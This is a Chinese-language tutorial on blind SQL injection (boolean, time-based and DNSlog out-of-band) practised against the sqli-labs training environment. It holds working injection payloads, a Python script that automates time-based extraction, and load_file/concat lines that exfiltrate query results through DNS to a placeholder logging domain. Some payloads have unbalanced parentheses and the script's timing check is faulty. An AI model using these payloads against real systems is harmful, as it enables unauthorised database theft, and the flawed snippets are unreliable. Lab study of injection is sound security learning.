盲注

布尔盲注:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回right和wrong。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的真和假来识别我们的判断是否正确,这就是布尔盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

示意过程:
正常请求,id=1,返回id=1的数据,错误请求id=1’,返回与正确页面不同的页面 (如果页面返回假,说明系统执行的SQL语句为假)

比如:

1
id=1 and left((select version(),1)=5--+

使用语句:

  1. left():left(database(),1)>’s’
    database()显示数据库名称,left(a,b)从左侧开始截取a的前b位

  2. regexp:select user() regexp ‘^r’

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

3.like:select user() like ‘ro%’

与regexp类似,使用like进行匹配

4.substr(),ascii():ascii(substr((select database()),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii的值

5.ord(),mid():ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

练习:

环境:sqli-lab less 8

id=1

1
select * from users where id='1' limit 0,1

回显正确you are in
id=1’

1
select * from users where id='1' ' limit 0,1

回显消失
id=1’ and ‘1’ = ‘1

1
select * from users where id = '1' and '1' ='1' limit 0,1

回显正确you are in
将后者的逻辑判断改为2,回显消失,可以判断存在sql注入漏洞

使用left()来进行尝试

id=1’ and left((select database()),1)=’s’–+

1
select * from users where id='1' and left((select database()),1)='s' --'limit 0,1

回显成功you are in
通过此类方法就能对库名,表名,列名进行查询

对表名查询

id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’–+

1
select * from users where id='1' and left((select  table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

回显成功 判断正确
注入流程就是这样,我们可以使用BP进一步提升效率,为字符添加变量,自动化跑(注意下数据库命名规则是a-z,0-9,_

尝试切换为regexp试试

id=1’ and (select database()) regexp ‘^s’ –+

1
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1

回显成功判断正确
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+

1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1

回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符
切换为like

id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+

1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1

这种表示匹配以e开头的字符串,后面同理regexp
切换为substr以及ascii

id=1’ and ascii(substr((select database()),1,1) = 115 –+

1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1

截取了从第一位字符开始长度为一的字符的ascii并判断是否等于115,这里是回显成功判断正确
然后查表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 115 –+

这里回显失败判断错误,就可以借助Bp爆破字符了,爆破可得101时正确,接着调整字符长度和ASCII的值,直至爆破结束

时间盲注:

原理:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断,这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
$id = $_GET['id'];
$sql = 'select * from users where id='$id' limit 0,1';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
}
else
{
echo "";
}

示意过程:

登陆正常请求,name=admin&pwd=1返回登陆成功的页面,在不知道账号密码的情况发送登录请求,返回登陆失败的页面,构造sql语句,发送登陆请求,返回登陆失败页面,构造语句让程序延时执行,判断信息

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:if(left(user(),1)=’a’,0,sleep(3));通过sql语句取到某个值,用left去user左侧的第一个字符,如果等于a,就立即执行,错误就延时3秒执行

真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

插入想要查询的数据,进行字符串截取,再进行比对

练习:

环境:sqli-lab less10

id=1 id=1’ id=1’ and ‘1’ =’2

进行一些简单的逻辑判断,均为一致的回显

采取上述时间盲注

id=1’ and if(left(user(),1)=’a’,0,sleep(3))–+

1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1

很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询
id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+

1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1

页面立即执行了,可见就是表名第一个字符就是E,但是这种效率会比较低这里对时间盲注比较推荐使用工具或者脚本
时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url=''
database='select schema_name from information_schema.schemata'
column = 'select column_name from information_schema.columns where table_name="table_name"'
table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''
for i in range(1,20):
    for j in range(48,122):
        payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j)
        stime=time.time()
        r = requests.get(url+payload)
        etime = time.time()
        if etime-stime ==2:
            result += chr(j)
            print(result)
            break

这里脚本先对库名进行爆破,爆完库名修改为表名,列名即可

Dnslog盲注

每个网站都有对应的域名比如test.com ,同样每个域名都有对应的ip地址,而将ip地址与域名这两者互相转换的中间人就是DNS,这两者每次转换都会留下一定的记录,我们就可以将这个称为dnslog,其实就是记录用户访问域名的信息

原理:代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过布尔以及时间盲注获得内容,但整个过程效率低,需要发送很多请求进行判断,很可能触发安全设备的防护,所以需要一种方式减少请求,直接回显数据,这里可以使用dnslog实现注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

平台:ceye.io dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息比如 curl xx.dnsurl,xx这里就是我们可以自主输入的命令字符,如果输入的whoami,就会返回当前用户
另外mysql的load_file可以发起请求

例子:select load_file(concat(‘\\‘,’test’,’mysql.dnsurl\abc’));

构造语句,利用Load_file函数发起请求,使用dnslog接受请求,获取数据

核心语法:select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

通过sql语句查询内容,作为请求的一部分发送至dnslog,只要对这一部分的语句进行构造,就能实现有回显的sql注入,值得注意的是,这些数据格式和内容都有限制,需要处理

练习:

环境:sqli-lab less9

id=1 或者其他逻辑判断

回显无效无法判断,如果有注入点就必然是盲注

采取dnslog盲注

id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'

前去dnslog平台就可以看到库名
然后查表名

id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+

1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'

可以看到表名,列名就按照老套路继续走
但是其实效率还是不高,推荐使用脚本跑